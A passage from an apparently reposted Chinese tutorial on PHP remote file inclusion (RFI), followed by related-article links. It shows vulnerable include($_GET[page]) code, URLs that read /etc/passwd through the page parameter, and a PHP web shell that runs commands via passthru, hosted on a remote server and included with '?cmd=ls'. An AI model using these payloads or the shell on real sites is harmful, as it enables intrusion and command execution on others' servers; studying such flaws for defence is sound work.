RFI(Remote File Inclusion) 远程文件包含漏洞,即服务器通过PHP的特性(函数)去包含任意文件时,
由于要包含的这个文件来源过滤不严格,从而可以去包含一个恶意文件,攻击者就可以远程构造一个特定
的恶意文件达到攻击目的。
文件包含的目的
程序员编写程序时,经常会把需要重复使用的代码写入一个单独的文件中,当需要调用这些代码时,再在
其他文件中包含调用代码的文件。
PHP中常用的包含调用函数有:
include(), require(), include_once(), require_once() .
include失败会弹出警告 而require则直接导致致命的错误
本地包含与远程包含
Include(“reg.php”)
If ($_GET [page]) {
Include $_GET [page];
} else {
Include “home.php”;
}

http://www.***.cn/php/main.php?page=reg.php
main.php 取得page值,执行“($_GET[page])”
如果page的值为空则包涵home.php否则include这就是本地包含
http://www.***.cn/php/main.php?page=http://www.***.cn/index.php
http://www.***.cn/index.php是一个远程的URL链接地址
这就是远程文件包含PHP配置文件中,allow_url_fopen默认是激活的

构造包含变量,产生包含漏洞 http://www.***.cn/php/main.php?page=why.php
如果why.php是并不存在的文件,那么include便会报错从而暴露出网站的物理路径
远程文件包含漏洞的利用---构造一个远程的php代码文件,传递到服务器上去
执行,以实现远程攻击的目的,这个也就是所谓的远程包含漏洞攻击了
1) 读取目标主机重要文件 可以使用…/…进行目录跳转
http://www.***.cn/php/main.php?page=/etc/passwd
2) 包含PHP木马,获得shellcode

If (get_magic_quote_gpc())
{$_REQUEST[“cmd”]=stripslashes($_REQUEST[“cmd”]);} //去掉字符串中的反斜线
Ini_set(“max_execution_time”,0) //不限制执行时间
Echo “
Binghe
"; //
Passthru($_REQUEST[“cmd”]); //运行cmd制定的命令
Echo “
Binghe
"; //
?>

这段php代码的意思是接受cmd制定的命令,调用passthru函数来执行binghe
把上面的代码保存为cmd.txt并存放在每个可以通过http访问的服务器上面
http://www.***.cn/cmd.txt
http://www.***.cn/php/main.php?page=http://www.***.cn/cmd.txt?cmd=ls
is是cmd的命令是查看,列目录,文件的意思,也可以使用其他的命令,然后就可以看到返回的结果了。

转载于:https://www.cnblogs.com/mujj/articles/3430576.html

RFI远程文件包含的漏洞相关推荐

  1. phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现

    phpMyAdmin 4.8.1 远程文件包含 CVE-2018-12613 漏洞复现 一.漏洞描述 二.漏洞影响 三.漏洞复现 1.环境搭建 2.漏洞复现 方法一:命令执行 方法二:phpMyAdm ...

  2. LFI(本地文件包含)、RFI(远程文件包含)、PHP封装协议(伪协议)安全问题学习

    友情链接:https://www.cnblogs.com/LittleHann/p/3665062.html 目录 一.文件包含的基本概念 1.要想成功利用文件包含漏洞,需要满足下面的条件 (1)in ...

  3. 文件上传漏洞之——远程文件包含漏洞(RFI)

    定义 如果php.ini的配置选项allow_url_include为On的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞.利用远程文件包含漏洞,可以直接执行任意命令 原理 同本 ...

  4. PHP远程文件包含(RFI)并绕过远程URL包含限制

    文章来源|MS08067 公众号粉丝投稿 本文作者:VastSky(Ms08067实验室粉丝) 前言 本文我们讲如何绕过远程URL包含限制.在PHP开发环境php.ini配置文里"allow ...

  5. php 怎么远程包含,利用PHP应用程序中的远程文件包含(RFI)并绕过远程URL包含限制...

    前言 文章讲诉了如何绕过远程URL包含限制.在PHP开发环境php.ini配置文件里",allow_url_include"为"off"的情况下,不允许PHP加 ...

  6. 本地文件包含与远程文件包含漏洞

    总结一下 1.文件包含漏洞分两种:LFI(local file include)本地文件包含 和 RFI(remote file include)远程文件包含 2.文件包含常用到的函数:include ...

  7. 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)

    phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...

  8. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  9. 远程文件包含 php,php本地及远程文件包含漏洞

    在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...

最新文章

  1. 禁用页面缓存的几种方法(静态和动态)
  2. Nginx隐藏主机信息,proxy_hide_header 与fastcgi_hide_header
  3. python怎么选择安装位置图片_怎么下载官网python并安装
  4. oracle物理DG管理-redo数据传输,应用与三种模式
  5. 在MySQL数据库上使用Quartz Scheduler入门
  6. mysql 递归实现树形_Mysql实现树形递归查询
  7. ipv6 ospf配置方法_【思唯网络学院】网络故障大全及处理原理和方法
  8. bool可以是java得标识符嘛_Java-标识符--修饰符--关键字
  9. 【Windows批处理】批处理压缩包内加密pdf文件解密
  10. 今日小程序推荐:文艺青年必备「轻芒杂志」
  11. etl构建数据仓库五步法_ETL构建数据仓库五步法
  12. 魔兽世界用宏显示服务器时间,网上找的宏用后不能显示冷却时间为什么啊法师 – 手机爱问...
  13. 俄罗斯方块游戏系统-c语言版
  14. 计算机六级考什么科目,四六级考试科目及考试内容
  15. 信息学奥赛一本通1189:Pell数列 OpenJudge1788:Pell数列
  16. memcached win64位服务端安装和java客户端实例
  17. vue的登录页面功能实现
  18. lt;=gt;与lt;gt;的区别
  19. HDU2550 百步穿杨【打印图案】
  20. 工具篇 之 Mac 安装 JDK 1.8 并配置环境变量

热门文章

  1. [Qt教程] 第43篇 进阶(三)对象树与拥有权
  2. 如何从服务器导出文件,如何从云服务器导出文件
  3. 微信小程序 事件点击后如何动态增删class类名(自用,没毛病)
  4. ETH 开发环境搭建及智能合约 helloworld
  5. 防火墙(6)—— -d的用法
  6. 使用批处理查看.class文件内容--javap指令
  7. 《Linux内核设计与实现》读书笔记(十八)- 内核调试
  8. 贪心 - 按要求补齐数组
  9. linux命令查找行数命令,Linux中用grep命令来搜索单词及统计匹配的行数
  10. 返回多维数组中某一维的最大值